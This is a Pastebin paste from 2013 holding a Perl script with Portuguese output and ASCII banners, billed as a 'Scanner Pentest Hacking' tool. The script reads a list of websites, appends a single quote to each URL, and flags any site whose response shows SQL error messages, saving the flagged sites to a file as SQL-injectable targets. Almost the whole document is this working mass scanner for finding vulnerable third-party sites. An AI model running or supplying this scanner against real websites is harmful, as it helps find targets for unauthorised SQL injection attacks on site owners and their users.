Advertisement
andre11

scam perl lista

Dec 23rd, 2013
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.12 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use LWP::UserAgent;
  3. use HTTP::Request;
  4. use LWP::Simple;
  5.  
  6. $sis="$^O";if ($sis eq linux){ $cmd="clear";} else { $cmd="cls"; }
  7. system("$cmd");
  8.  
  9. if (!$ARGV[0]) {
  10.  
  11. $sis="$^O";if ($sis eq linux){ $cmd="clear";} else { $cmd="cls"; }
  12. system("$cmd");
  13.  
  14. my @bannerzinho = (0,100..200);
  15. my $variavelbanner = $bannerzinho[int rand @bannerzinho];
  16.  
  17. if ($variavelbanner % 2 == 0) {
  18.  
  19. &bannerUm();
  20. exit;
  21.  
  22. }
  23. else {
  24. &bannerDois();
  25. exit;
  26. }
  27. }
  28.  
  29. &bannerDois();
  30.  
  31. print q {
  32. [+] Scaneando WebSite...
  33.  
  34. };
  35.  
  36. open( SITE, "< $ARGV[0]" ) or die( "Nao foi possรญvel abrir o arquivo: $!" );
  37.  
  38. our @array = <SITE>;
  39.  
  40. $numero = $#array;
  41.  
  42. for ($i = 0; $i <= $numero; $i++) {
  43.  
  44. $Dominio = "$array[$i]";
  45.  
  46. if($Dominio !~ /http:\/\//) { $Dominio = "http://$Dominio"; }
  47.  
  48.  
  49. $cmd = "'";
  50.  
  51. $site = "$Dominio$cmd";
  52.  
  53. my $req=HTTP::Request->new(GET=>$site);
  54. my $ua=LWP::UserAgent->new();
  55. $ua->timeout(15);
  56. my $resposta=$ua->request($req);
  57.  
  58. if($resposta->content =~ /You have an error in your SQL syntax/ ||
  59. $resposta->content =~ /MySQL server version/ ||
  60. $resposta->content =~ /Syntax error converting the nvarchar value/ ||
  61. $resposta->content =~ /Unclosed/ ||
  62. $resposta->content =~ /SQL Server error/ ||
  63. $resposta->content =~ /JET/) {
  64.  
  65. print "\n \t $Dominio \n";
  66.  
  67. open (NOTEPAD, ">> SqlInjection.txt");
  68. print NOTEPAD "$site\n";
  69. close(NOTEPAD);
  70.  
  71. }
  72. }
  73.  
  74. print q {
  75.  
  76. [+] FIM !
  77. };
  78.  
  79.  
  80. sub bannerUm {
  81.  
  82. print q {
  83.  
  84.  
  85.  
  86. _______________________
  87. < Hello !! Welcome !! >
  88. -----------------------
  89. \ ,__,
  90. \ (oo)____
  91. (__) )\
  92. ||--|| *
  93. | | _) |
  94. __ `__ \ _ \ __| _` | __| __ \ | _ \ | __|
  95. | | | __/ | ( |\__ \ | | | ( | | |
  96. _| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
  97. _| Scanner v 1.0
  98.  
  99.  
  100.  
  101. [*] Modo de uso: perl ScannerSQL.pl lista.txt
  102.  
  103. [+] Scanner Pentest Hacking
  104.  
  105. };
  106.  
  107.  
  108. }
  109.  
  110. sub bannerDois {
  111.  
  112. print q {
  113. _ _
  114. _ | | (_)_
  115. ____ ____| |_ ____ ___ ____ | | ___ _| |_
  116. | \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
  117. | | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
  118. |_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
  119. |_| Scanner v 1.0
  120.  
  121.  
  122.  
  123. [*] Modo de uso: perl ScannerSQL.pl lista.txt
  124.  
  125. [+] Scanner Pentest Hacking
  126.  
  127.  
  128. };
  129.  
  130. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement